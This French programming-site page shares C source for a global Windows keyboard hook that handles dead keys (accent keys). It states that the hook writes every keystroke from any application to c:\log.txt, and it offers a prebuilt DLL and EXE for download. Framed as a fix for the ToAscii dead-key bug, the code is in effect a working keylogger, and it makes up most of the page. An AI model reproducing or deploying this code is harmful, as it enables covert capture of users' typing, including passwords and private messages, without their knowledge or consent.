Accueil > > > [HOOK CLAVIER] FICHIER TEXTE AVEC GESTION DES DEAD KEYS [DEV-C++ 4.9.8.10]
[HOOK CLAVIER] FICHIER TEXTE AVEC GESTION DES DEAD KEYS [DEV-C++ 4.9.8.10]
Information sur la source
Description
On trouve pas mal de code source sur Internet pour un hook clavier global sous Windows. La fonction SetWindowsHookEx est plutôt bien détaillée. Malheureusement, je n'ai trouvé aucun hook qui gère les DEAD KEY. Il s'agit des touches qu'on doit combiner avec une autre, comme les accents circonflexes, les tremas, etc ... pour ne former qu'un caractère. Avec un hook clavier traditionnel, en tapant "^" puis "e" dans une application comme le Notepad, j'obtenais soit "^^e", soit "e". Par contre, dans le fichier log, j'obtenais souvent "ê". L'erreur vient de la fonction ToAscii, largement utilisée avec les hooks clavier, pour traduire un nombre en un caractère (caractère qu'on écrit ensuite dans un fichier texte). Cette fonction bug royalement lorsqu'il s'agit de gérer les DEAD KEY. La solution que je propose est de savoir si le caractère qu'on traite est un DEAD KEY. Si c'est le cas, on ne doit pas faire d'appel à la fonction ToAscii, mais plutôt à une fonction équivalente : GetKeyNameText (elle ne gère pas les minuscules). Je propose un extrait du code. Le zip contient la DLL (je crois que c'est indispensable pour un hook global) et l'EXE pour l'utiliser.
Source
- //------------------------------------------------------------------------------
- // Retourne 0 si le caractère est un DEAD CHAR (accent circonflexe, trema, etc ...)
- //------------------------------------------------------------------------------
-
- BOOL is_dead_key ( int wparam )
- {
- unsigned int code = MapVirtualKey ( wparam, 2 );
-
- // Windows 95 retourne 0x8000, NT retourne 0x80000000
- return (code & 0x80008000) ? TRUE : FALSE;
- }
-
- //------------------------------------------------------------------------------
- // Fonctions executée lorsqu'on appuie sur une touche
- //------------------------------------------------------------------------------
- // lParam est composé de 32 bits (de 31 à 0) :
- // touche appuyée : bit 31 [FALSE] bit 30 [FALSE]
- // touche maintenue : bit 31 [FALSE] bit 30 [TRUE]
- // touche relachée : bit 31 [TRUE] bit 30 [TRUE]
- // scancode : bit 23 au bit 16 inclus
- //------------------------------------------------------------------------------
-
- LRESULT CALLBACK KeyboardProc ( int nCode,WPARAM wParam,LPARAM lParam )
- {
- BYTE KeyState[256]; // Etat des 256 touches du clavier
- static BOOL deadkey; // Est-ce qu'on a traité une DEAD KEY
- WORD Char=0; // Buffer pour la traduction de la touche (ToAscii)
- char nomTouche[256]; // Buffer pour la traduction de la touche (GetKeyNameText)
-
- // On ne fait rien dans ce cas (cf aide API)
- if ( nCode < 0 || nCode == HC_NOREMOVE )
- return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
-
- // Pour éviter les répétitions
- // Bit 30 : Spécifie l'état précédent de la touche (si TRUE, on passe notre chemin)
- if ( ((DWORD)lParam & 1<<30) != FALSE )
- return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
-
- // Si c'est une DEAD KEY, on passe notre chemin
- if ( is_dead_key ( (UINT) wParam ) )
- {
- deadkey = TRUE;
- myfprintf ( "[DK]" );
- return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
- }
-
- switch(wParam)
- {
- case VK_BACK : myfprintf ( "[BKSP]" ); break; // 0x08
- case VK_TAB : myfprintf ( "[TAB]" ); break; // 0x09
- case VK_RETURN : myfprintf ( "[ENTER]\r\n" );break; // 0x0D
- case VK_SHIFT : break; // 0x10
- case VK_CONTROL : myfprintf ( "[CTRL]" ); break; // 0x11
- case VK_MENU : myfprintf ( "[ALT]" ); break; // 0x12
- case VK_PAUSE : myfprintf ( "[PAUSE]" ); break; // 0x13
- case VK_CAPITAL : break; // 0x14
- case VK_ESCAPE : break; // 0x1B
- case VK_PRIOR : myfprintf ( "[PGUP]" ); break; // 0x21
- case VK_NEXT : myfprintf ( "[PGDN]" ); break; // 0x22
- case VK_END : myfprintf ( "[END]" ); break; // 0x23
- case VK_HOME : myfprintf ( "[HOME]" ); break; // 0x24
- case VK_LEFT : myfprintf ( "[LEFT]" ); break; // 0x25
- case VK_UP : myfprintf ( "[UP]" ); break; // 0x26
- case VK_RIGHT : myfprintf ( "[RIGHT]" ); break; // 0x27
- case VK_DOWN : myfprintf ( "[DOWN]" ); break; // 0x28
- case VK_SNAPSHOT: myfprintf ( "[SNAP]" ); break; // 0x2C
- case VK_INSERT : break; // 0x2D
- case VK_DELETE : myfprintf ( "[DEL]" ); break; // 0x2E
- case VK_LWIN : myfprintf ( "[LWIN]" ); break; // 0x5B
- case VK_RWIN : myfprintf ( "[RWIN]" ); break; // 0x5C
- case VK_APPS : myfprintf ( "[APPS]" ); break; // 0x5D
- case VK_NUMPAD0 : myfprintf ( "[NUM0]" ); break; // 0x60
- case VK_NUMPAD1 : myfprintf ( "[NUM1]" ); break; // 0x61
- case VK_NUMPAD2 : myfprintf ( "[NUM2]" ); break; // 0x62
- case VK_NUMPAD3 : myfprintf ( "[NUM3]" ); break; // 0x63
- case VK_NUMPAD4 : myfprintf ( "[NUM4]" ); break; // 0x64
- case VK_NUMPAD5 : myfprintf ( "[NUM5]" ); break; // 0x65
- case VK_NUMPAD6 : myfprintf ( "[NUM6]" ); break; // 0x66
- case VK_NUMPAD7 : myfprintf ( "[NUM7]" ); break; // 0x67
- case VK_NUMPAD8 : myfprintf ( "[NUM8]" ); break; // 0x68
- case VK_NUMPAD9 : myfprintf ( "[NUM9]" ); break; // 0x69
- case VK_MULTIPLY: myfprintf ( "*" ); break; // 0x6A
- case VK_ADD : myfprintf ( "+" ); break; // 0x6B
- case VK_SUBTRACT: myfprintf ( "-" ); break; // 0x6D
- case VK_DECIMAL : myfprintf ( "." ); break; // 0x6E
- case VK_DIVIDE : myfprintf ( "/" ); break; // 0x06
- case VK_F1 : myfprintf ( "[F1]" ); break; // 0x70
- case VK_F2 : myfprintf ( "[F2]" ); break; // 0x71
- case VK_F3 : myfprintf ( "[F3]" ); break; // 0x72
- case VK_F4 : myfprintf ( "[F4]" ); break; // 0x73
- case VK_F5 : myfprintf ( "[F5]" ); break; // 0x74
- case VK_F6 : myfprintf ( "[F6]" ); break; // 0x75
- case VK_F7 : myfprintf ( "[F7]" ); break; // 0x76
- case VK_F8 : myfprintf ( "[F8]" ); break; // 0x77
- case VK_F9 : myfprintf ( "[F9]" ); break; // 0x78
- case VK_F10 : myfprintf ( "[F10]" ); break; // 0x79
- case VK_F11 : myfprintf ( "[F11]" ); break; // 0x7A
- case VK_F12 : myfprintf ( "[F12]" ); break; // 0x7B
- case VK_F13 : myfprintf ( "[F13]" ); break; // 0x7C
- case VK_F14 : myfprintf ( "[F14]" ); break; // 0x7D
- case VK_F15 : myfprintf ( "[F15]" ); break; // 0x7E
- case VK_F16 : myfprintf ( "[F16]" ); break; // 0x7F
- case VK_F17 : myfprintf ( "[F17]" ); break; // 0x80
- case VK_F18 : myfprintf ( "[F18]" ); break; // 0x81
- case VK_F19 : myfprintf ( "[F19]" ); break; // 0x82
- case VK_F20 : myfprintf ( "[F20]" ); break; // 0x83
- case VK_F21 : myfprintf ( "[F21]" ); break; // 0x84
- case VK_F22 : myfprintf ( "[F22]" ); break; // 0x85
- case VK_F23 : myfprintf ( "[F23]" ); break; // 0x86
- case VK_F24 : myfprintf ( "[F24]" ); break; // 0x87
- case VK_NUMLOCK : break; // 0x90
- case VK_ATTN : break; // 0xF6
- default:
- // On réinitialise notre tableau
- memset ( KeyState, 0, sizeof(KeyState) );
-
- if ( GetKeyboardState ( KeyState ) )
- {
- // ce n'est pas une DEAD KEY, on peut utiliser ToAscii
- if ( !deadkey )
- {
- ToAscii ( (UINT) wParam, (UINT) ((lParam << 8 ) >> 24), KeyState, &Char, 0 );
- myfprintf ( &Char );
- }
- // sinon, on doit utiliser autre chose !
- else
- {
- GetKeyNameText ( lParam, nomTouche, 256 );
- myfprintf ( nomTouche );
- deadkey = FALSE;
- }
- }
- break;
- }
-
- return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
- }
//------------------------------------------------------------------------------
// Retourne 0 si le caractère est un DEAD CHAR (accent circonflexe, trema, etc ...)
//------------------------------------------------------------------------------
BOOL is_dead_key ( int wparam )
{
unsigned int code = MapVirtualKey ( wparam, 2 );
// Windows 95 retourne 0x8000, NT retourne 0x80000000
return (code & 0x80008000) ? TRUE : FALSE;
}
//------------------------------------------------------------------------------
// Fonctions executée lorsqu'on appuie sur une touche
//------------------------------------------------------------------------------
// lParam est composé de 32 bits (de 31 à 0) :
// touche appuyée : bit 31 [FALSE] bit 30 [FALSE]
// touche maintenue : bit 31 [FALSE] bit 30 [TRUE]
// touche relachée : bit 31 [TRUE] bit 30 [TRUE]
// scancode : bit 23 au bit 16 inclus
//------------------------------------------------------------------------------
LRESULT CALLBACK KeyboardProc ( int nCode,WPARAM wParam,LPARAM lParam )
{
BYTE KeyState[256]; // Etat des 256 touches du clavier
static BOOL deadkey; // Est-ce qu'on a traité une DEAD KEY
WORD Char=0; // Buffer pour la traduction de la touche (ToAscii)
char nomTouche[256]; // Buffer pour la traduction de la touche (GetKeyNameText)
// On ne fait rien dans ce cas (cf aide API)
if ( nCode < 0 || nCode == HC_NOREMOVE )
return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
// Pour éviter les répétitions
// Bit 30 : Spécifie l'état précédent de la touche (si TRUE, on passe notre chemin)
if ( ((DWORD)lParam & 1<<30) != FALSE )
return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
// Si c'est une DEAD KEY, on passe notre chemin
if ( is_dead_key ( (UINT) wParam ) )
{
deadkey = TRUE;
myfprintf ( "[DK]" );
return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
}
switch(wParam)
{
case VK_BACK : myfprintf ( "[BKSP]" ); break; // 0x08
case VK_TAB : myfprintf ( "[TAB]" ); break; // 0x09
case VK_RETURN : myfprintf ( "[ENTER]\r\n" );break; // 0x0D
case VK_SHIFT : break; // 0x10
case VK_CONTROL : myfprintf ( "[CTRL]" ); break; // 0x11
case VK_MENU : myfprintf ( "[ALT]" ); break; // 0x12
case VK_PAUSE : myfprintf ( "[PAUSE]" ); break; // 0x13
case VK_CAPITAL : break; // 0x14
case VK_ESCAPE : break; // 0x1B
case VK_PRIOR : myfprintf ( "[PGUP]" ); break; // 0x21
case VK_NEXT : myfprintf ( "[PGDN]" ); break; // 0x22
case VK_END : myfprintf ( "[END]" ); break; // 0x23
case VK_HOME : myfprintf ( "[HOME]" ); break; // 0x24
case VK_LEFT : myfprintf ( "[LEFT]" ); break; // 0x25
case VK_UP : myfprintf ( "[UP]" ); break; // 0x26
case VK_RIGHT : myfprintf ( "[RIGHT]" ); break; // 0x27
case VK_DOWN : myfprintf ( "[DOWN]" ); break; // 0x28
case VK_SNAPSHOT: myfprintf ( "[SNAP]" ); break; // 0x2C
case VK_INSERT : break; // 0x2D
case VK_DELETE : myfprintf ( "[DEL]" ); break; // 0x2E
case VK_LWIN : myfprintf ( "[LWIN]" ); break; // 0x5B
case VK_RWIN : myfprintf ( "[RWIN]" ); break; // 0x5C
case VK_APPS : myfprintf ( "[APPS]" ); break; // 0x5D
case VK_NUMPAD0 : myfprintf ( "[NUM0]" ); break; // 0x60
case VK_NUMPAD1 : myfprintf ( "[NUM1]" ); break; // 0x61
case VK_NUMPAD2 : myfprintf ( "[NUM2]" ); break; // 0x62
case VK_NUMPAD3 : myfprintf ( "[NUM3]" ); break; // 0x63
case VK_NUMPAD4 : myfprintf ( "[NUM4]" ); break; // 0x64
case VK_NUMPAD5 : myfprintf ( "[NUM5]" ); break; // 0x65
case VK_NUMPAD6 : myfprintf ( "[NUM6]" ); break; // 0x66
case VK_NUMPAD7 : myfprintf ( "[NUM7]" ); break; // 0x67
case VK_NUMPAD8 : myfprintf ( "[NUM8]" ); break; // 0x68
case VK_NUMPAD9 : myfprintf ( "[NUM9]" ); break; // 0x69
case VK_MULTIPLY: myfprintf ( "*" ); break; // 0x6A
case VK_ADD : myfprintf ( "+" ); break; // 0x6B
case VK_SUBTRACT: myfprintf ( "-" ); break; // 0x6D
case VK_DECIMAL : myfprintf ( "." ); break; // 0x6E
case VK_DIVIDE : myfprintf ( "/" ); break; // 0x06
case VK_F1 : myfprintf ( "[F1]" ); break; // 0x70
case VK_F2 : myfprintf ( "[F2]" ); break; // 0x71
case VK_F3 : myfprintf ( "[F3]" ); break; // 0x72
case VK_F4 : myfprintf ( "[F4]" ); break; // 0x73
case VK_F5 : myfprintf ( "[F5]" ); break; // 0x74
case VK_F6 : myfprintf ( "[F6]" ); break; // 0x75
case VK_F7 : myfprintf ( "[F7]" ); break; // 0x76
case VK_F8 : myfprintf ( "[F8]" ); break; // 0x77
case VK_F9 : myfprintf ( "[F9]" ); break; // 0x78
case VK_F10 : myfprintf ( "[F10]" ); break; // 0x79
case VK_F11 : myfprintf ( "[F11]" ); break; // 0x7A
case VK_F12 : myfprintf ( "[F12]" ); break; // 0x7B
case VK_F13 : myfprintf ( "[F13]" ); break; // 0x7C
case VK_F14 : myfprintf ( "[F14]" ); break; // 0x7D
case VK_F15 : myfprintf ( "[F15]" ); break; // 0x7E
case VK_F16 : myfprintf ( "[F16]" ); break; // 0x7F
case VK_F17 : myfprintf ( "[F17]" ); break; // 0x80
case VK_F18 : myfprintf ( "[F18]" ); break; // 0x81
case VK_F19 : myfprintf ( "[F19]" ); break; // 0x82
case VK_F20 : myfprintf ( "[F20]" ); break; // 0x83
case VK_F21 : myfprintf ( "[F21]" ); break; // 0x84
case VK_F22 : myfprintf ( "[F22]" ); break; // 0x85
case VK_F23 : myfprintf ( "[F23]" ); break; // 0x86
case VK_F24 : myfprintf ( "[F24]" ); break; // 0x87
case VK_NUMLOCK : break; // 0x90
case VK_ATTN : break; // 0xF6
default:
// On réinitialise notre tableau
memset ( KeyState, 0, sizeof(KeyState) );
if ( GetKeyboardState ( KeyState ) )
{
// ce n'est pas une DEAD KEY, on peut utiliser ToAscii
if ( !deadkey )
{
ToAscii ( (UINT) wParam, (UINT) ((lParam << 8 ) >> 24), KeyState, &Char, 0 );
myfprintf ( &Char );
}
// sinon, on doit utiliser autre chose !
else
{
GetKeyNameText ( lParam, nomTouche, 256 );
myfprintf ( nomTouche );
deadkey = FALSE;
}
}
break;
}
return CallNextHookEx ( HKEYBOARD, nCode, wParam, lParam );
}
Conclusion
Si vous avez une solution alternative, je suis évidemment preneur ! Sachez qu'il crée un fichier texte là : c:\log.txt
belzel [dot] free [dot] fr
Historique
- 30 juillet 2004 22:47:54 :
- Quelques commentaires en plus.
Quelques variables supprimées car non utilisées.
Une mise à jour de WORD Char à 0 pour éviter quelques bugs d'écriture.
Sources du même auteur
Sources de la même categorie
Commentaires et avis
|
Derniers Blogs
[FRAMEWORK 4] LES TASKS ET LE THREAD UI[FRAMEWORK 4] LES TASKS ET LE THREAD UI par fathi
Je viens de passer quelques temps au TechDay's et j'ai pu voir pas mal de session intéressante. Par contre une chose m'a un peu étonné lors de certaines de ces sessions qui abordaient les améliorations du framework .NET (donc le 4.5) : en gros, bea...
Cliquez pour lire la suite de l'article par fathi WORKFLOW FOUNDATION 3 A UN PIED DANS LA TOMBEWORKFLOW FOUNDATION 3 A UN PIED DANS LA TOMBE par JeremyJeanson
Depuis déjà un an, je conseille vivement les utilisateurs de Workflow Foundation 3 à migrer vers la version 4. L'information qui va suivre ne devrait donc pas trop prendre au dépourvu les personnes qui m'ont suivi. Je profite de ce poste, pour faire le re...
Cliquez pour lire la suite de l'article par JeremyJeanson TECHDAYS PARIS 2012 : NOUVELLES TENDANCES DU POSTE DE TRAVAIL - BRING YOUR OWN PCTECHDAYS PARIS 2012 : NOUVELLES TENDANCES DU POSTE DE TRAVAIL - BRING YOUR OWN PC par ROMELARD Fabrice
Speakers: Thierry Rapatout, Antoine Petit et Xavier Trebbia Cette session entre dans le cadre des RDV Décideurs des TechDays 2012, elle est liée à la consumérisation de l'IT et la mise en place du "DeskTop as a Service" dans de plus en ...
Cliquez pour lire la suite de l'article par ROMELARD Fabrice TECHDAYS PARIS 2012 : SYSTEM CENTER SERVICE MANAGER 2012 VUE D'ENSEMBLETECHDAYS PARIS 2012 : SYSTEM CENTER SERVICE MANAGER 2012 VUE D'ENSEMBLE par ROMELARD Fabrice
Speakers: Julien Marechal, Gautier Confiant, Sébastien MEYER La session débute par le positionnement de la solution System Center par rapport aux concepts d'organisation ITIL. Le portail du catalogue de se...
Cliquez pour lire la suite de l'article par ROMELARD Fabrice TECHDAYS PARIS 2012 : PLEINIèRE SECOND JOURTECHDAYS PARIS 2012 : PLEINIèRE SECOND JOUR par ROMELARD Fabrice
Après une première journée dédiée aux développeurs, cette seconde journée est dédiée au monde des entreprises et de ses applications. Ainsi, cette pleinière est dédiée à faire un 360 de l'évolution des applications Business aux demandes ac...
Cliquez pour lire la suite de l'article par ROMELARD Fabrice
Logiciels
Academy System (17.2.1.0)ACADEMY SYSTEM (17.2.1.0)Logiciel de gestion des établissements.
- élèves/étudiants (inscription, dossier, absence...)
-... Cliquez pour télécharger Academy System Easy-Planning (1.0.0.1)EASY-PLANNING (1.0.0.1)Basé sur les mêmes principes que MyPlanning, Easy-Planning permet de créer des plannings sous la ... Cliquez pour télécharger Easy-Planning COLLECTOR PLUS (3.00B)COLLECTOR PLUS (3.00B)COLLECTOR PLUS version 3.00B est un logiciel utilisant une base de données alimentée par :
- L... Cliquez pour télécharger COLLECTOR PLUS PONAMEDIA PREMIUM - HELLLOOO FLASH DEMO (V7.4)PONAMEDIA PREMIUM - HELLLOOO FLASH DEMO (V7.4)PONAMEDIA TV DEVIENS HELLLOOO FLASH
LA TV SUR VOTRE ORDINATEUR.
Toute une plateforme Multi... Cliquez pour télécharger PONAMEDIA PREMIUM - HELLLOOO FLASH DEMO LettresFaciles 2011 (8.0.0.1)LETTRESFACILES 2011 (8.0.0.1)LettresFaciles est un logiciel facilitant la création et la rédaction de lettres types.
Son inte... Cliquez pour télécharger LettresFaciles 2011
|